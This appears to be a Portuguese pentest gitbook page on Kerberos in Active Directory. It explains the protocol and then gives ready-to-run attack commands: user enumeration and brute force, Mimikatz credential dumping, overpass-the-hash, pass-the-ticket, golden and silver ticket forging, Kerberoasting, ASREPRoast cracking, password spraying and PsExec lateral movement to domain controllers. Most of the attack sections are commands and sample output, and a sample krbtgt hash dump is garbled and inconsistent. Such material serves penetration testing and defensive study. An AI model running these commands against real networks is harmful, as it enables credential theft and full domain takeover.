Kerberos

Como Funciona o Kerberos

Kerberos é um protocolo de Autenticação (não confunda com Autorização) utilizado no Active Directory, ou seja, permite identificar um determinado usuário que fornece uma senha válida, mas não valida quais recursos ou serviços esse usuário pode acessar.

NOTA: Autenticação é a prova que um usuário é ele mesmo, seja a partir de senhas, tokens, biometria, cartões, etc. Já a Autorização, determina quais acessos, um usuário já autenticado, possui em um sistema

A grosso modo, o Kerberos funciona da seguinte forma: quando um usuário faz logon em sua estação de trabalho, uma solicitação é enviada ao Controlador de Domínio, que tem a função de KDC (Key Distribution Center) e também mantém o serviço Authentication Server. Esse Authentication Server Request (AS_REQ) contém um carimbo de data/hora que é criptografado usando um hash derivado do nome e senha do usuário.

Quando o Domain Controller recebe a solicitação, ele procura o hash de senha associado ao usuário específico e tenta descriptografar o carimbo de data/hora. Se o processo de descriptografia for bem-sucedido e o carimbo de data/hora não for uma duplicata (um possível ataque de repetição), a autenticação será considerada bem-sucedida.

O Controlador de Domínio responde ao cliente com um Authentication Server Reply (AS_REP) que contém uma chave de sessão (já que o Kerberos não tem estado) e um Ticket Granting Ticket (TGT). A chave de sessão é criptografada usando o hash de senha do usuário e pode ser descriptografada pelo cliente e reutilizada. O TGT contém informações sobre o usuário, incluindo associações a grupos, domínio, carimbo de data/hora, endereço IP do cliente e chave de sessão.

Para evitar adulterações, o TGT é criptografado por uma chave secreta conhecida apenas pelo KDC e não pode ser descriptografada pelo cliente. Depois que o cliente receber a chave de sessão e o TGT, o KDC considera a autenticação do cliente concluída. Por padrão, o TGT será válido por 10 horas, após isso ocorre uma renovação que não exige que o usuário reinsira a senha.

Quando o usuário deseja acessar recursos do domínio, como um compartilhamento de rede, uma caixa de correio do Exchange ou algum outro aplicativo com um nome de entidade de serviço registrado, ele deve contatar novamente o KDC.

Em seguida, o serviço de concessão de tíquete no KDC recebe o TGS_REQ e, se o SPN existir no domínio, o TGT é descriptografado usando a chave secreta conhecida apenas pelo KDC. A chave de sessão é então extraída do TGT e usada para descriptografar o nome de usuário e o carimbo de data/hora da solicitação. Neste ponto, o KDC realiza várias verificações:

  • O TGT deve ter um carimbo de data/hora válido (nenhuma repetição detectada e a solicitação não expirou).

  • O nome de usuário do TGS_REQ deve corresponder ao nome de usuário do TGT.

  • O endereço IP do cliente precisa coincidir com o endereço IP TGT.

Se esse processo de verificação for bem-sucedido, o serviço de concessão de tíquetes responderá ao cliente com uma resposta do Ticket Granting Server Reply ou TGS_REP. Este pacote contém três partes:

  • O SPN ao qual o acesso foi concedido.

  • Uma chave de sessão a ser usada entre o cliente e o SPN.

  • Um tíquete de serviço contendo o nome de usuário e as associações de grupo junto com a chave de sessão recém-criada.

As duas primeiras partes (SPN e chave de sessão) são criptografadas usando a chave de sessão associada à criação do TGT e o tíquete de serviço é criptografado usando o hash de senha da conta de serviço registrada no SPN em questão.

Quando o processo de autenticação pelo KDC estiver concluído e o cliente tiver uma chave de sessão e um tíquete de serviço, a autenticação de serviço será iniciada.

Primeiro, o cliente envia ao servidor de aplicativos uma solicitação de aplicativo ou AP_REQ , que inclui o nome de usuário e um carimbo de data/hora criptografado com a chave de sessão associada ao tíquete de serviço junto com o próprio tíquete de serviço.

O servidor de aplicativos descriptografa o tíquete de serviço usando o hash de senha da conta de serviço e extrai o nome de usuário e a chave de sessão. Em seguida, ele usa o último para descriptografar o nome de usuário do AP_REQ. Se o nome de usuário AP_REQ corresponder ao descriptografado do tíquete de serviço, a solicitação será aceita. Antes que o acesso seja concedido, o serviço inspeciona as associações de grupo fornecidas no tíquete de serviço e atribui as permissões apropriadas ao usuário, após as quais o usuário pode acessar o serviço solicitado.

Em resumo, podemos citar todo esse processo em alguns passos:

1 - AS-REQ = O usuário realiza o processo de autenticação acessando o Authentication Server, informando o seu usuário e senha, MFA via token, e-mail, SMS, etc. Nessa momento, o computador local está gerando uma criptografia do timestamp utilizando o NTLM e enviando ao Authentication Server do KDC

2 - AS-REP = Caso o passo 1 tenha sucesso, o usuário irá receber um TGT (que foi criptografado e assinado com o krbtgt) pelo Authentication Server, onde indica que o mesmo já está autenticado. Sendo assim, SOMENTE o krbtgt consegue abrir e ler o conteúdo do TGT. Para verificar se a autenticação está correta, o Authentication Server verifica se é possível decriptar o hash timestamp (que utilizou o NTLM), consultando o hash armazenado no Kerberos DB, e caso seja possível validar o decrypt e com uma horário válido de timestamp, o processo de envio do TGT será executado. Outro ponto importante, é que o TGT possui um PAC (Privileged Attribute Certificate - Certificado de Atributo Privilegiado), que contém todos os grupo no qual o usuário é membro. Em alguns lugares, podemos ver o termo Ticket de Logon para se referir ao TGT

3 - TGS-REQ = Antes de realizar um acesso a um determinado serviço, o usuário precisa antes entrar em contato com o TGS, enviando assim o seu TGT para o TGS. O TGS por sua vez, utiliza o Authentication Server para validar se aquele TGT é realmente válido. Junto com o TGT, o usuário precisa enviar o SPN (Service Principal Name), que nada mais é que a referência do recurso que ele precisa acessar

4 - TGS-REP = Caso o TGS valide com êxito o TGT, o KDC irá enviar um Ticket TGS (Ticket Granting Service) para o usuário. Esse Ticket TGS é composto pelo TGT + um identificador do usuário (que só o KDC tem) e criptografado com o hash do serviço aplicação solicitada

5 - AP-REQ = Após isso, o usuário pode realizar uma requisição para um serviço, apresentando o seu Ticket TGS que foi recebido

Como um passo adicional, podemos citar a Autenticação Mútua, que é quando o servidor autentica de volta com o usuário, validando assim que ele realmente é o servidor do respectivo serviço e o usuário realmente é quem diz ser. O NTLS é o responsável por esse verificação. Como isso é um passo adicional, a maioria das empresas não realizam a implementação desse recurso, diminuindo assim a segurança da rede

NOTA: Somente a conta krbtgt esse, pode assinar e abrir o conteúdo de um TGT, logo, essa conta é alvo em potencial, pois podemos ter domínio de todo o AD a partir dele.

Casp queira ver os Tickets (TGT e TGS) que possuem atualmente na sua máquina, basta executar o comando abaixo:

klist

Veremos agora, detalhes de alguns dos vários componentes do ambiente Kerberos:

Transport Layer

Kerberos é responsável por criptografar as informações, já que utiliza TCP ou UDP para transportar os dados. As portas usadas por ele, são a 88/UDP e a 88/TCP, que devem ser ouvidas pelo KDC (Key Distribution Center).

Agents

Vários agentes trabalham juntos para fornecer autenticação no Kerberos. Estes são os seguintes:

  • Cliente ou usuário que deseja acessar o serviço

  • AP (Application Server), que fornece o serviço requerido pelo usuário

  • KDC (Key Distribution Center), o principal serviço do Kerberos, responsável pela emissão de TGT's e tickets de serviço, e está instalado no DC (Domain Controller), logo, possui todos os hashes dos usuários do AD. É constituído por 3 principais recursos, o AS (Authentication Server) para a autenticação inicial do usuário, o Kerberos DB (que contém todos os usuários do Domínio, assim como os seus respectivos hashes) e o TGS (Ticket Granting Server)

Encryption Keys

Existem várias estruturas manipuladas pelo Kerberos, como tickets. Muitas dessas estruturas são criptografadas ou assinadas para evitar que sejam adulteradas por terceiros. Essas chaves são as seguintes:

  • KDC ou krbtgt, derivada do hash NTLM da conta krbtgt

  • Chave do usuário derivada do hash NTLM do usuário

  • Chave de serviço derivada do hash NTLM do proprietário do serviço, que pode ser uma conta de usuário ou computador

  • Chave de sessão que é negociada entre o usuário e o KDC

  • Chave de sessão de serviço a ser usada entre usuário e serviço

Tickets

As principais estruturas manipuladas pelo Kerberos, são os Tickets. Esses tickets são entregues aos usuários para serem utilizados por eles para executar várias ações no domínio Kerberos. Existem 2 tipos de tickets:

TICKET

DESCRIÇÃO

TGS (Ticket Granting Service)

Este, pega o TGT e retorna um tíquete para uma máquina no domínio, então o usuário pode usar para se autenticar em um serviço. É criptografado com a chave de serviço.

TGT (Ticket Granting Ticket)

É o ticket apresentado ao KDC para solicitar TGS's. Este é criptografado com a chave KDC. O TGT só é usado com o KDC para obter tíquetes de serviço e pode vir em várias formas, como .kirbi para Rubeus e .ccache para Impacket. Esse tíquete serve de autenticação usado para solicitar tíquetes de serviço do TGS para recursos específicos do domínio

No processo de autenticação, o usuário primeiro precisa concluir a requisição do TGT e então solicitar TGS, para posteriormente acessar os serviços.

PAC

O PAC (Privilege Attribute Certificate) é uma estrutura incluída em quase todos os tickets. Essa estrutura contém informaçãos relevantes do usuário (incluindo os seus privilégios) e é assinada com a chave KDC. Os serviços conseguem verificar o PAC comunicando-se com o KDC, embora isso não ocorra com frequência. No entanto, a verificação do PAC consiste em verificar apenas sua assinatura, sem verificar se os privilégios dentro do PAC estão corretos. Além disso, um cliente pode evitar a inclusão do PAC dentro do ticket, especificando-o no campo KERB-PA-PAC-REQUEST da solicitação de ticket.

Messages Usadas Para Autenticação

Kerberos usa diferentes tipos de mensagens. Abaixo, o processo de mensagens usado para realizar o processo autenticação:

MENSAGEM

DESCRIÇÃO

KRB_AS_REQ

Solicita o TGT ao KDC

KRB_AS_REP

Entrega o TGT pelo KDC

KRB_TGS_REQ

Solicita o TGS ao KDC, usando o TGT

KRB_TGS_REP

Entrega o TGS pelo KDC

KRB_AP_REQ

Autentica um usuário em um serviço, usando o TGS

KRB_AP_REP

Este é opcional e é usado pelo serviço para se identificar com o usuário.

KRB_ERROR

Mensagem para comunicar condições de erro (caso ocorra)

NOTA: O AP opcionalmente pode usar a mensagem KERB_VERIFY_PAC_REQUEST para enviar ao KDC a assinatura do PAC e verificar se está correto. Isso não faz parte do Kerberos, mas sim do NRPC

Feito isso, o usuários já possui os tickets necessários para utilizar.

OBS.: Veremos muitos casos onde iremos utilizar o Mimikatz. Porém é essencial saber 2 comandos básicos referentes ao Tickets do Kerberos:

kerberos::list = Lista os Ticket's atuais

kerberos::purge = Limpa/libera os ticket existentes

User Enumeration

Devido ao Kerberos ser um protocolo de autenticação, é possível executar ataques de Brute Force contra ele. Abaixo alguns pontos importantes que você deve saber:

  • Nenhuma conta de domínio é necessária para conduzir o ataque, apenas conectividade ao KDC

  • Os erros de pré-autenticação Kerberos não são registrados no Active Directory com um evento de falha de logon normal (4625), mas sim com logs específicos para a falha de pré-autenticação Kerberos (4771)

  • Em casos de erro, o Kerberos indica se a senha está incorreta, se o nome de usuário estiver correto ou não. Essa é uma grande vantagem no caso de executar esse tipo de técnica sem saber nenhum nome de usuário

  • Também é possível descobrir contas de usuário sem a necessidade de pré-autenticação, o que pode ser útil para executar um ataque ASREPRoast

CUIDADO: Ao realizar Brute Force contra Kerberos, você poderá bloquear a conta do usuário. Utilize essa técnica com cuidado.

Exemplos de Brute Force para descobrir usuários. Note que pode ser preciso adicionar em /etc/hosts, o IP de destino.

./kerbrute.py -domain <domain> -users <wordlist.txt>

./kerbrute userenum --dc <domain.controller> -d <domain.com> <wordlist_user.txt> -t 100

sudo nmap --script=krb5-enum-users --script-args="krb5-enum-users.realm='<domain.local>'" -p 88 <ip>
sudo nmap --script=krb5-enum-users --script-args="krb5-enum-users.realm='<domain.local>',userdb=<wordlist-user.txt>" -p 88 <ip>

Caso apareça escrito [NOT PREAUTH] em frente do nome do usuário encontrado, significa que podemos realizar um ataque de ASREPRoast, resgatando assim o hash da sua senha.

Kerberos Delegation

Contrained Delegation

Encontrando usuários e computadores com essa propriedade PowerView

Get-DomainComputer -TrustedToAuth
Get-DomainUser -TrustedToAuth

ADModule

Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne $null} -Properties msDSAllowedToDelegateTo

Uncontrained Delegation

Mapeando os servidores com Uncontrained Delegation no Domínio. Caso encontre, utilize-o como um alvo importante, pois com o propósito de resolver problemas de Double Hop, esse, guarda Tickets de diversos usuários.

Procurando por servidores com PowerView

Get-NetComputer -UnConstrained

Procurando por servidores com ADModule

Get-ADComputer -Filter {TrustedForDelegation -eq $True}

Procurando por usuários (geralmente de serviços) com ADModule

Get-ADUser -Filter {TrustedForDelegation -eq $True}

Após conseguir encontar o servidor correto, utilize o comando abaixo para extrair os tickets disponíveis, e depois de ter sucesso no comando, realize um ataque de Pass-The-Ticket, pois assim não irá precisar quebrar a senha.

.\mimikatz.exe
sekurlsa::tickets /export
kerberos::ptt <path_to_ticke>

Brute Force

nmap

sudo nmap -p88 --script krb5-enum-users --script-args realm='<domain>',userdb=<wordlist_users.txt>,unpwdb.timelimit=0 <ip>

kerbrute.py

python3 kerbrute.py -domain <domain.local> -users <wordlist-user.txt> -passwords <wordlist-pass.txt> -outputfile <output.txt>

Overpass The Hash / Pass The Key (PTK)

Com o overpass do hash, podemos abusar de um hash NTLM do usuário para obter um Kerberos TGT completo ou um TGS, que nos concede acesso a outra máquina ou serviço como se fosse um outro determinado usuário. Em resumo, a essência da técnica de Overpass the Hash é transformar o hash NTLM em um tíquete Kerberos e evitar o uso da autenticação NTLM. Essas hashes podem ser extraídas em arquivos SAM (nas estações de trabalho Windows), nos arquivos NTDS.DIT que ficam nos Domain Controllers e também na memória do processo lsass (usando a ferramenta Mimikatz), onde também é possível encontrar senhas em textplain.

No exemplo abaixo, iremos abrir um cmd em nome de um determinado usuário. Importante notar que, apesar de estarmos utilizando a conta de um usuário, podemos também utilizar a conta de um computador, afinal ele também é um objeto no AD e também possui um hash NTLM.

Então primeiro vamos extrair a hash NTLM com o Mimikatz

.\mimikatz.exe
privilege::debug
sekurlsa::logonpasswords

Feito isso, vamos ver como executar o Overpass the Hash no Windows e no Linux.

Windows

Ainda no mimikatz, execute o comando abaixo para abrir um novo PowerShell com a conta do usuário alvo:

sekurlsa::pth /user:<user> /domain:<domain.com> /ntlm:<ntlm_hash> /run:cmd

Ao abrir o novo cmd, note que o comando whoami pode não irá trazer o novo usuário, porém isso é algo normal de acontecer, pois pode ser que o usuário tenha executado comando em um modo interativo. Exemplo disso, é quando o usuário foi autenticado a partir de outro usuário, através do Executar como.

Dando continuidade, agora iremos gerar um TGT autenticado em um compartilhamento de rede no Domain Controller, utilizando qualquer comando em que exija permissões do Domínio. Para fins de exemplo, utilizei o net use.

net use \\<domain_controller>

Para validar se deu certo, utilize o comando abaixo para verificar se o Ticket Kerberos foi criado

klist

Com os Tickets já criados, podemos agora acessar um host remotamente, incluindo o Domain Controller

.\PsExec.exe \\<host> cmd.exe

Linux

# Ao executar o comando abaixo, será salvo um arquivo <user.ccache>
./getTGT.py <domain>/<user> -hashes :<hash>
export KRB5CCNAME=</path/user.ccache>
./psexec.py <domain>/<user>@<ip> -k -no-pass

Feito isso, você deve ter acesso ao shell (prompt de comando).

Pass The Ticket (PTT)

A técnica Pass The Ticket consiste em obter o ticket do usuário e usá-lo para se passar por ele. No entanto, além do ticket, é necessário obter a chave da sessão também para poder usá-lo. É possível obter o ticket executando um ataque MITM, devido ao fato do Kerberos ser enviado por TCP ou UDP. No entanto, essas técnicas não permitem obter acesso à chave da sessão. Uma alternativa é obter o ticket da memória do processo lsass, onde também reside a chave da sessão. Este procedimento pode ser realizado com o Mimikatz. É melhor obter um TGT, porque o TGS só pode ser usado em um serviço. Além disso, deve-se levar em consideração que o tempo de vida dos tickets é de 10 horas, após isso, são inutilizáveis.

Golden Ticket

Voltando à explicação da autenticação Kerberos, lembramos que quando um usuário envia uma solicitação de TGT, o KDC criptografa o TGT com uma chave secreta conhecida apenas pelos KDC's no domínio. Essa chave secreta é, na verdade, o hash de senha de uma conta de usuário de domínio chamada krbtgt.

Se conseguirmos colocar as mãos no hash de senha krbtgt, poderíamos criar nossos próprios TGT's personalizados (Golden Ticket) e acessar recursos do AD em nome de qualquer usuário.

Por exemplo, poderíamos criar um TGT informando que um usuário sem privilégios é realmente um membro do grupo Administradores de Domínio e o DC confiará nele, pois está criptografado corretamente.

Sendo assim, objetivo do Golden Ticket é construir um TGT, mas para isso é necessário obter o hash NTLM da conta krbtgt. Uma vez obtido, um TGT com usuário e privilégios personalizados pode ser construído. Para a alegria do atacante, mesmo que o usuário altere sua senha, o ticket ainda será válido. O TGT somente poderá ser invalidado se a conta expirar ou se o krbtgt alterar sua senha. Além disso, a senha do krbtgt só é alterada quando o nível funcional do domínio é atualizado do Windows 2003 para o Windows 2008. Por isso, não é incomum encontrar hashes de senha krbtgt muito antigos.

ATENÇÃO: Para ambos os exemplos abaixo, preste atenção na execução. Valores como NTLM do krbtgt e SID do Domínio devem vir do Domain Controller, ou seja, execute nele o Mimikatz. A construção do Golden Ticket deve ser feita na máquina atacante utilizando os dados encontrados.

Método 1 - Mimikatz

Abra o Mimikatz.

powershell -ep bypass
.\mimikatz.exe

Assegure-se de que tenha privilégios executando o comando abaixo e retornando Privilege '20' OK como resultado.

privilege::debug

Limpa os Ticket já existentes

kerberos::purge

Realizando um dump do hash e do identificador de segurança da conta Kerberos TGT, permitindo criar um Golden Ticket. Abaixo está o comando e a sua saída:

lsadump::lsa /patch

Agora que temos acesso ao NTLM do krbtgt, vamos gerar o Golden Ticket com um dos comandos abaixo:

kerberos::golden /user:<qualquer-user> /domain:<domain.local> /sid:<SID-domain> /krbtgt:<hash_ntlm_krbtgt> /ptt
kerberos::golden /user:<qualquer-user> /domain:<domain.local> /sid:<SID-domain> /krbtgt:<hash_ntlm_krbtgt> /id:500 /groups:501 /startoffset:0 /endin:600 /renewmax:10080 /ptt

Na saída do comando acima, o User ID deve estar setado como 500, pois esse é o RID do Administrador interno do Domínio.

Com o Golder Ticket injetado na memória, podemos iniciar um novo prompt de comando e tentar novamente o movimento lateral com PsExec. 

misc::cmd

Isso irá abrir um novo Prompt de Comando, então agora podemos nos conectar ao Domain Controller através do PsExec.

psexec.exe \\<domain_controller> cmd.exe

IMPORTANTE: Ao acessar o Domain Controller com o comando acima utilize o seu hostname ao invés do IP, pois utilizando o IP forçaríamos a utilização do NTLM e o acesso irá ser bloqueado.

Método 2 - Mimikatz

Abra o Mimikatz na máquina alvo.

powershell -ep bypass
.\mimikatz.exe

Assegure-se de que tenha privilégios executando o comando abaixo e retornando Privilege '20' OK como resultado.

privilege::debug

Limpa os Ticket já existentes

kerberos::purge

Realizando um dump do hash e do identificador de segurança da conta Kerberos TGT, permitindo criar um Golden Ticket. Abaixo está o comando e a sua saída:

lsadump::lsa /inject /name:krbtgt
# Saída
Domain : CONTROLLER / S-1-5-21-873020175-22119246242-027728464 
RID  : 000001f6 (502)User : krbtgt
 * Primary
    NTLM : 550a8530012c2005cf7082a9ad9e7df31      LM   :
  Hash NTLM: 5508500012cc005cf7082a9a89ebdfdf     ntlm- 0: 5508500012cc005cf7082a9a89ebdfdf 
    lm  - 0: 372f405db05d3cafd27f8e6a4a097b2c

Agora podemos, criar nosso Golden Ticket usando nossa máquina atacante:

kerberos::golden /user:Administrator /domain:<domain.local> /sid:<SID_Domain> /krbtgt:<NTLM_ha/>h /id:500

Por fim chegamos a parte principal, acessar outra máquina do domínio através do Golden Ticket gerado. Execute o comando abaixo e abra um novo prompt de comando com privilégios elevados para todas as máquinas.

misc::cmd

Utilizando o mesmo prompt de comando, saia do Mimikatz e execute o comando abaixo para verificar se realmente o ticket foi criado:

klist

Agora, acesse as máquinas utilizando PsExec.exe (ou com qualquer outra ferramenta de preferência):

PsExec.exe \\<host> cmd.exe

Método 3 - GetTGT (Impacket)

python3 /usr/share/doc/python3-impacket/examples/getTGT.py -dc-ip <ip> -hashes <ntlm:ntlm> <domain.local>/<user>
python3 /usr/share/doc/python3-impacket/examples/psexec.py -dc-ip <ip> <domain.local>/<user>@<hostname_dc>.<domain.local> -k -no-pass

Método 4 - Ticketer (Impacket)

Gerando o Ticket

python3 /usr/share/doc/python3-impacket/examples/ticketer.py -nthash <ultima_parte_hash_ntlm> -domain-sid <SID> -domain <domain.local> <user>

Caso precise, também podemos converter o arquivo .ccache em kirbi, que geralmente é utilizado pelo Mimikatz

python ticketConverter.py <user.ccache> ticket.kirbi

Método 5 - Meterpreter (kiwi - mimikatz)

Carregando o kiwi (mimikatz)

load kiwi

Listando todos os ticket

kerberos_ticket_list

Gera um novo ticket em nome do usuários Administrator, que será válido por 10 anos

golden_ticket_create -d <domain.local> -i 500 -k <ntlm_hash> -s <sid_domain> -t /tmp/golden.tck -u Administrator

Limpa os tickets atuais

golden_ticket_purge

Utilizando o ticket gerado

kerberos_ticket_use /tmp/golden.tck

Feito isso, volte para a shell dentro do Meterpreter e note que, ao executar um whoami, você irá continuar com o mesmo usuário de antes, porém ao executar o klist, verá que foi gerado um ticket para o Administrator, então pode utilizar o usuário atual que, apesar do nome, ele estará com privilégios do Administrator.

Silver Ticket

O Silver Ticket é semelhante ao Golden Ticket, porém o ticket construído será um TGS ao invésdo TGT. Nesse caso, a chave de serviço será necessária, derivada da conta do proprietário do serviço. No entanto, não é possível assinar corretamente o PAC sem a chave krbtgt. Logo, se o serviço verificar o PAC, essa técnica não funcionará. Por sorte (do atacante, é claro), o PAC geralmente não é verificado.

Com a senha da conta de serviço ou seu hash NTLM associado em mãos, podemos forjar nosso próprio tíquete de serviço para acessar o recurso de destino (no nosso exemplo, o aplicativo IIS) com as permissões que desejarmos. Esse tíquete personalizado é conhecido como Silver Ticket e, se o nome da entidade de serviço for usado em vários servidores, esse Ticket pode ser aproveitado em todos eles.

Criando um Silver Ticket

Mimikatz pode criar um Silver Ticket e injetá-lo diretamente na memória através do comando kerberos::golden (apesar do nome ser Golder ao invés de Silver, esse é realmente o comando correto).

Para criar o ticket, primeiro precisamos obter o chamado Security Identifier (ou SID) do Domínio, que podemos pegar facilmente com ferramentas como PowerView, ADModule, ou até com recursos nativos do Windows (exemplo logo a seguir). Um SID é um nome exclusivo para qualquer objeto no Active Directory e tem a seguinte estrutura:

S-1-5-21-4235014430-0479635762-7610771940-1206

  • S = Identifica como uma String

  • 1 = Nível de revisão (geralmente será 1)

  • 5 = Valor de autoridade (geramente será 5 no AD)

  • 21-4235014430-0479635762-7610771940 = Primeira parte do valor de sub-autoridade (dinâmico) que identifica o número do Domínio

  • 1117 = Segunda parte do valor de subautoridade que é um número relativo (Relative Identifier ou RID), que representa o objeto específico no Domínio.

Com isso em mente, vamos utilizar o exemplo acima, onde o SID do Domínio é S-1-5-21-4235014430-0479635762-7610771940 (note que não temos segunda parte do valor de subautoridade). Para verificarmos qual o SID do usuário atual (e consequentemente o do Domínio também), podemos executar o seguinte comando:

whoami /user

Agora que já temos as informações necessárias, vamos executar o seguinte comando:

mimikatz.exe
privileges::debug
kerberos::purge
kerberos::golden /user:<user> /domain:<domain.com> /sid:<SID-domain> /target:<server.domain.local> /service:<service> /rc4:<hash_maquina> /ptt

IMPORTANTE: Para criar um Silver Ticket, usamos o hash de senha e não a senha de texto simples. Se uma sessão kerberoast nos apresentou a senha de texto simples, devemos fazer o hash dela antes de usá-la para gerar um Silver Ticket.

Caso tudo dê certo, um novo tíquete de serviço para o SPN HTTP/<server.domain.com> foi carregado na memória e Mimikatz definiu as permissões de associação de grupo apropriadas no tíquete forjado. Da perspectiva do aplicativo IIS, o usuário atual será o administrador local interno ( Relative Id: 500 ) e um membro de vários grupos altamente privilegiados.

Agora que temos esse ticket carregado na memória, podemos interagir com o serviço e obter acesso a qualquer informação com base nas associações de grupo que colocamos no ticket prata. Dependendo do tipo de serviço, também pode ser possível obter a execução do código.

Kerberoasting

O Kerberoasting é uma técnica que tira proveito do TGS para quebrar as senhas das contas de usuário de maneira offline. Uma parte do TGS é criptografada com o hash da senha da conta de serviço, então podemos solicitar um tíquete, exportá-lo e então realizar o brute force. As contas de serviço geralmente possuem acesso privilegiado e não sofrem alteração de senha. Como visto acima, o TGS é criptografado com a chave de serviço, derivada do hash NTLM da conta do proprietário do serviço. Geralmente, os proprietários dos serviços são os computadores nos quais os serviços estão sendo executados. No entanto, as senhas do computador são muito complexas, portanto, não é útil tentar quebrá-las. Isso também acontece no caso da conta krbtgt, portanto, o TGT também não é decifrado. Mesmo assim, em algumas ocasiões o proprietário do serviço é uma conta de usuário normal. Nesses casos, é mais viável quebrar suas senhas. Além disso, esse tipo de conta normalmente tem privilégios muito interessantes.

Para executar o Kerberoasting, é necessário apenas uma conta de domínio que possa solicitar TGS, pois não são necessários privilégios especiais já que o Kerberos não realiza verificações de autorização.

Pegando o hash TGS com Impacket

python3 GetUserSPNs.py <domain>/<user>:<pass> -outputfile <output_hash.txt> -request

Podemos tambm pegar o hash de uma maneira um pouco mais manual. Para isso primeiro vamos pegar todos os SPN disponíveis no Domínio.

# Ferramenta nativa do Windows
setspn.exe -Q */*

# PowerView
Get-NetUser -SPN

Solicitando manualmente um tíquete e inserindo em memória. Substitua o <spn> pelo resultado de um dos comandos acima

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList <spn>

Exportando Tickets para arquivos de texto.

Invoke-Mimikatz -Command '"kerberos::list /export"'

Após executar esse comando, será criar um arquivo com extensão kirbi para cada ticket. Com esses arquivos em mãos, agora podemos realizar um Brute Force, utilizando ferramentas como tgsrepcrack.py ou kirbi2john.py (ambas criadas pelo mesmo desenvolvedor).

ASREPRoast

O ASREPRoast é semelhante ao Kerberoasting, que também busca a quebra de senhas das contas. Mas antes de continuar, precisamos entender como funciona o AS-REQ:

AS-REQ = A etapa AS-REQ na autenticação Kerberos começa quando um usuário solicita um TGT do KDC. Para validar o usuário e criar um TGT para esse usuário, o KDC deve seguir as seguintes etapas. A primeira etapa é o usuário criptografar um hash NT de carimbo de data/hora e enviá-lo ao AS (Authentication Service). O KDC tenta descriptografar o carimbo de data/hora usando o hash NT do usuário; se for bem-sucedido, o KDC emitirá um TGT e também uma chave de sessão para o usuário.

Se o atributo DONT_REQ_PREAUTH estiver definido em uma conta de usuário, será possível criar uma mensagem KRB_AS_REQ sem especificar sua senha. Depois disso, o KDC responderá com uma mensagem KRB_AS_REP, que conterá uma parte dos dados criptografados com a chave de usuário original, derivada de sua senha. Em seguida, usando esta mensagem, a senha do usuário pode ser quebrada offline, usando o hashcat, por exemplo.

Lembrando que, nenhuma conta de Domínio é necessária para realizar esse tipo de ataque, apenas a conexão com o KDC. No entanto, com uma conta de domínio, uma consulta LDAP pode ser usada para recuperar usuários sem pré-autenticação Kerberos no domínio. Caso contrário, os nomes de usuário devem ser adivinhados.

Primeiro vamos vamos verificar se algum usuário já veio com a senha em textplain ou se está marcado com [NOT PREAUTH], pois caso esteja, podemos pegar o hash e quebrá-lo offline.

# Resultado dos hashes será printado na tela
./GetNPUsers.py <domain>/ -usersfile <wordlist-users.txt> -format hashcat

# Resultado dos hashes será salvo no arquivo especificado no comando
./GetNPUsers.py <domain>/ -usersfile <wordlist-users.txt> -format hashcat -outputfile </path/output_file.txt>

# Validando somente 1 usuário
./GetNPUsers.py <domain>/<user> -no-pass

Levando em conta em que foi possível resgatar o hash de alguma senha, podemos quebrá-la utilizando o hashcat. O hash vai ser parecido com $krb5asrep$23$<user>@<domain>:0225735a35420bc1ac7ea45d63d19512$9384d86741ce98164f89c6eb5e0dbf93ae6bc34230d85e2c1ac9dfaffd481494ff32e4e82d8e14dc87b7c11b880f29657caf6a4644c364f058a6e7d02a7dc0e5b99df2a5d5131277992bc9f766f1a89c260ce12b51069f946381f75d7619c9f3ce9a7b7dc847eff32a62d8988d6c3fa51dc0b6c42d321aaab0c65d59fc74e31340a313c287054aff2a6eca342c662d85b18c5a75b3b99094c8caaf6e6a686976a032c8ac275b5b32845c2a81cd17f621d300a9b0f6fad7cf05f9430683273c728d4f2a0ef3ce1d92afd4b2f768680b2682f6460535164260b9a7fa17b93adcd8ec709cfb7beb4a8bfdf6f9eadb127f3b51f8

hashcat -m 18200 <hash.txt> <wordlisd-password.txt>

Caso esteja usando o Windows e queira usar uma ferramenta própria do SO, você pode utilizar o Rubeus.

.\Rubeus.exe brute /users:<user_wordlist.txt> /passwords:<pass_wordlist.txt> /domain:<domain> /outfile:<output_file.txt>

Depois de obter a senha do usuário (nesse exemplo o usuário não tem DONT_REQ_PREAUTH), vamos pegar o hash do KRB_AS_REP:

./GetNPUsers.py <domain>/<user>:<pass> -request -format hashcat -outputfile <path/file.txt>

Usuário com SPN Definido

Quando um usuário tem o SPN definido, podemos solicitar a chave TGS (para isso precisamos de alguma credencial válida). A chave TGS é criptografada com o hash de senha do serviço, então se conseguirmos decifrá-lo, podemos obter a senha do usuário através de Brute Force no hash retornado.

python3 GetUserSPNs.py <dc.domain.local>/<user>:<pass> -request

Rubeus

Harvesting Tickets

Coletando ticket's que estão sendo enviado ao KDC a cada 30 segundos.

Rubeus.exe harvest /interval:30

Brute-Forcing com Password-Spraying

Note que este está fazendo um spraying, ou seja, irá tentar uma única senha para todos os usuários, ao invés do clássico Brute Force, onde são várias senhas de uma wordlist para um único usuário.

Primeiro, execute antes o comando abaixo:

echo <ip> <domain.local> >> C:\Windows\System32\drivers\etc\hosts

Agora execute o comando abaixo, substituindo pela senha que deseja.

Rubeus.exe brute /password:<password> /noticket

OBS.: Esteja ciente de como você usa esse ataque, pois ele pode bloqueá-lo da rede, dependendo das políticas de bloqueio de conta.

Sites

# Tutorial sobre Kerberos
https://www.tarlogic.com/en/blog/how-kerberos-works/

# Tutorial sobre Mimikatz em Português
https://docs.microsoft.com/pt-br/defender-for-identity/playbook-lateral-movement

# Gitbook com diversos ataques em AD/Kerberos
https://www.ired.team/

# Mimikatz
https://github.com/gentilkiwi/mimikatz

# Ataque a Kerberos com Impacket
https://www.hackingarticles.in/abusing-kerberos-using-impacket/

# DCSync
https://adsecurity.org/?p=1729
https://github.com/FSecureLABS/SharpGPOAbuse

# Rubeus
https://github.com/GhostPack/Rubeus

# TGSRepCrack
https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py

# Enumera automaticamente todos os nomes principais de serviço no domínio, solicitar tíquetes de serviço para eles e exporta para cracking em John the Ripper e Hashcat
https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1

# Kerbrute
https://github.com/ropnop/kerbrute
https://github.com/TarlogicSecurity/kerbrute

# Cheatsheet
https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a
PreviousExplorando ACL/ACENextOffice Word

Last updated